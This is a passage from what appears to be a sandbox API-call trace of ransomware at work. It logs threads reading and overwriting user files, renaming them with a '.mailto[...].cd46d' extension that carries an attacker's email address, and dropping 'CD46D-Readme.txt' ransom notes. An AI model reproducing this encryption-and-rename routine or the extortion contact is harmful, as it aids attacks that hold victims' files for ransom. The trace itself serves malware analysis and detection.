| out: lpBuffer=0xd4ad058*, lpNumberOfBytesWritten=0x31bf714*=0xc800, lpOverlapped=0x0) returned 1 [0158.276] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ad058) returned 1 [0158.276] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0158.276] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x21) returned 0x8d8928 [0158.276] SetFilePointerEx (in: hFile=0x1150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.276] WriteFile (in: hFile=0x1150, lpBuffer=0x904560*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x31bf794, lpOverlapped=0x0 | out: lpBuffer=0x904560*, lpNumberOfBytesWritten=0x31bf794*=0x105, lpOverlapped=0x0) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af168) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef60) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0160.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2d0) returned 1 [0160.562] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x904560 [0160.562] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" [0160.562] wcscat (in: _Dest=0x904560, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.mailto[2Hamlampampom@cock.li].cd46d" [0160.562] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x31bf74c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0160.562] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf6) returned 0x8ec1d8 [0160.666] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec1d8) returned 1 [0160.666] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96cc78) returned 1 [0160.666] NtQueryInformationFile (in: FileHandle=0x1150, IoStatusBlock=0x31bf758, FileInformation=0x31bf730, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x31bf758, FileInformation=0x31bf730) returned 0x0 [0160.667] NtSetInformationFile (FileHandle=0x1150, IoStatusBlock=0x31bf758, FileInformation=0x31bf730, Length=0x28, FileInformationClass=0x4) returned 0x0 [0160.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0160.711] FlushFileBuffers (hFile=0x1150) returned 1 [0160.714] CloseHandle (hObject=0x1150) returned 1 [0160.718] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa6) returned 0x97cb48 [0160.719] wcscpy (in: _Dest=0x97cb48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0160.719] wcscat (in: _Dest=0x97cb48, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\CD46D-Readme.txt" [0160.719] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\cd46d-readme.txt")) returned 0xffffffff [0160.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1150 [0160.720] WriteFile (in: hFile=0x1150, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x31bf754, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x31bf754*=0x6fd, lpOverlapped=0x0) returned 1 [0160.721] CloseHandle (hObject=0x1150) returned 1 [0160.721] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97cb48) returned 1 [0160.721] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adca8) returned 1 Thread: id = 3824 os_tid = 0xfd8 [0156.068] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc")) returned 0x2020 [0156.068] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", dwFileAttributes=0x20) returned 1 [0161.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8dc [0161.301] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x3c4fe8c | out: lpFileSize=0x3c4fe8c*=2676) returned 1 [0161.301] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.301] ReadFile (in: hFile=0x8dc, lpBuffer=0x3c4fe10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c4fe0c, lpOverlapped=0x0 | out: lpBuffer=0x3c4fe10*, lpNumberOfBytesRead=0x3c4fe0c*=0x4, lpOverlapped=0x0) returned 1 [0161.302] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.303] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945aa0 [0161.303] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945870 [0161.303] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945500 [0161.303] NtQuerySystemTime (in: CurrentTime=0x3c4fdec | out: CurrentTime=0x3c4fdec*=132174899359054000) returned 0x0 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x36ba4d9 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x94cb882 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x742c0726 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x1c976f8d [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x21937d0e [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x535482fc [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x71061c2d [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x652bc4cf [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x354bfcd9 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x22b7ac57 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x3720c7cd [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x3c40d92d [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x5a491d00 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x416c83c3 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x3ea15602 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x2147f019 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x4430df22 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x665ebc04 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x5ee15999 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0xabe25e0 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x464e63b3 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x5aac242a [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x34904f56 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x5ca6a470 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x246cc639 [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x28f11dfd [0161.303] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x6a46d59 [0161.304] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x8704f81 [0161.304] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x42e822a6 [0161.304] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x47aa5673 [0161.304] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x5af08a [0161.304] RtlRandomEx (in: Seed=0x3c4fdf8 | out: Seed=0x3c4fdf8) returned 0x2e24a355 [0161.315] ReadFile (in: hFile=0x8dc, lpBuffer=0x12c5a048, nNumberOfBytesToRead=0xa74, lpNumberOfBytesRead=0x3c4fde8, lpOverlapped=0x0 | out: lpBuffer=0x12c5a048*, lpNumberOfBytesRead=0x3c4fde8*=0xa74, lpOverlapped=0x0) returned 1 [0161.316] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.316] WriteFile (in: hFile=0x8dc, lpBuffer=0xd496048*, nNumberOfBytesToWrite=0xa74, lpNumberOfBytesWritten=0x3c4fde4, lpOverlapped=0x0 | out: lpBuffer=0xd496048*, lpNumberOfBytesWritten=0x3c4fde4*=0xa74, lpOverlapped=0x0) returned 1 [0161.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedf8 [0161.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee98 [0161.367] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0161.367] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd496048) returned 1 [0161.367] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c5a048) returned 1 [0161.367] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c080) returned 1 [0161.367] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0161.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1f) returned 0x9aee98 [0161.367] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.367] WriteFile (in: hFile=0x8dc, lpBuffer=0x8ebe78*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x3c4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x8ebe78*, lpNumberOfBytesWritten=0x3c4fe4c*=0x103, lpOverlapped=0x0) returned 1 [0161.368] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af3e8) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af488) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945870) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457a8) returned 1 [0161.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0161.369] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x8ebe78 [0161.369] wcscpy (in: _Dest=0x8ebe78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" [0161.369] wcscat (in: _Dest=0x8ebe78, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.mailto[2Hamlampampom@cock.li].cd46d" [0161.369] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3c4fe04, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.369] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8ec4d8 [0161.386] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec4d8) returned 1 [0161.386] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c72260) returned 1 [0161.386] NtQueryInformationFile (in: FileHandle=0x8dc, IoStatusBlock=0x3c4fe10, FileInformation=0x3c4fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c4fe10, FileInformation=0x3c4fde8) returned 0x0 [0161.386] NtSetInformationFile (FileHandle=0x8dc, IoStatusBlock=0x3c4fe10, FileInformation=0x3c4fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0161.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0161.388] FlushFileBuffers (hFile=0x8dc) returned 1 [0161.433] CloseHandle (hObject=0x8dc) returned 1 [0161.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa6) returned 0x97bee8 [0161.434] wcscpy (in: _Dest=0x97bee8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\" [0161.434] wcscat (in: _Dest=0x97bee8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\CD46D-Readme.txt" [0161.434] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\cd46d-readme.txt")) returned 0x2020 [0161.434] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bee8) returned 1 [0161.434] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acda8) returned 1 Thread: id = 3825 os_tid = 0xfdc [0156.068] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\eula.ini")) returned 0x20 [0156.069] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.069] GetLastError () returned 0x5 [0156.069] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.069] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7a78) returned 1 Thread: id = 3826 os_tid = 0xfe0 [0156.070] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html")) returned 0x20 [0156.070] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", dwFileAttributes=0x20) returned 0 [0156.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.070] GetLastError () returned 0x5 [0156.070] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", dwFileAttributes=0x20) returned 0 [0156.070] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab688) returned 1 Thread: id = 3827 os_tid = 0xfe4 [0156.071] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\eula.ini")) returned 0x20 [0156.071] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.072] GetLastError () returned 0x5 [0156.072] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.072] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6c68) returned 1 Thread: id = 3828 os_tid = 0xfe8 [0156.073] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html")) returned 0x20 [0156.073] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", dwFileAttributes=0x20) returned 0 [0156.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.073] GetLastError () returned 0x5 [0156.073] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", dwFileAttributes=0x20) returned 0 [0156.073] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac560) returned 1 Thread: id = 3829 os_tid = 0xfec [0156.074] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\eula.ini")) returned 0x20 [0156.074] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.074] GetLastError () returned 0x5 [0156.074] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.074] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6f38) returned 1 Thread: id = 3830 os_tid = 0xff0 [0156.075] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html")) returned 0x20 [0156.075] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", dwFileAttributes=0x20) returned 0 [0156.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.076] GetLastError () returned 0x5 [0156.076] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html", dwFileAttributes=0x20) returned 0 [0156.076] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac7c0) returned 1 Thread: id = 3831 os_tid = 0xff4 [0156.077] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\eula.ini")) returned 0x20 [0156.077] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.077] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.077] GetLastError () returned 0x5 [0156.077] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini", dwFileAttributes=0x20) returned 0 [0156.077] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7d48) returned 1 Thread: id = 3832 os_tid = 0xff8 [0156.078] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html")) returned 0x20 [0156.078] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", dwFileAttributes=0x20) returned 0 [0156.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.078] GetLastError () returned 0x5 [0156.078] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", dwFileAttributes=0x20) returned 0 [0156.079] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac398) returned 1 Thread: id = 3833 os_tid = 0xffc [0156.079] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 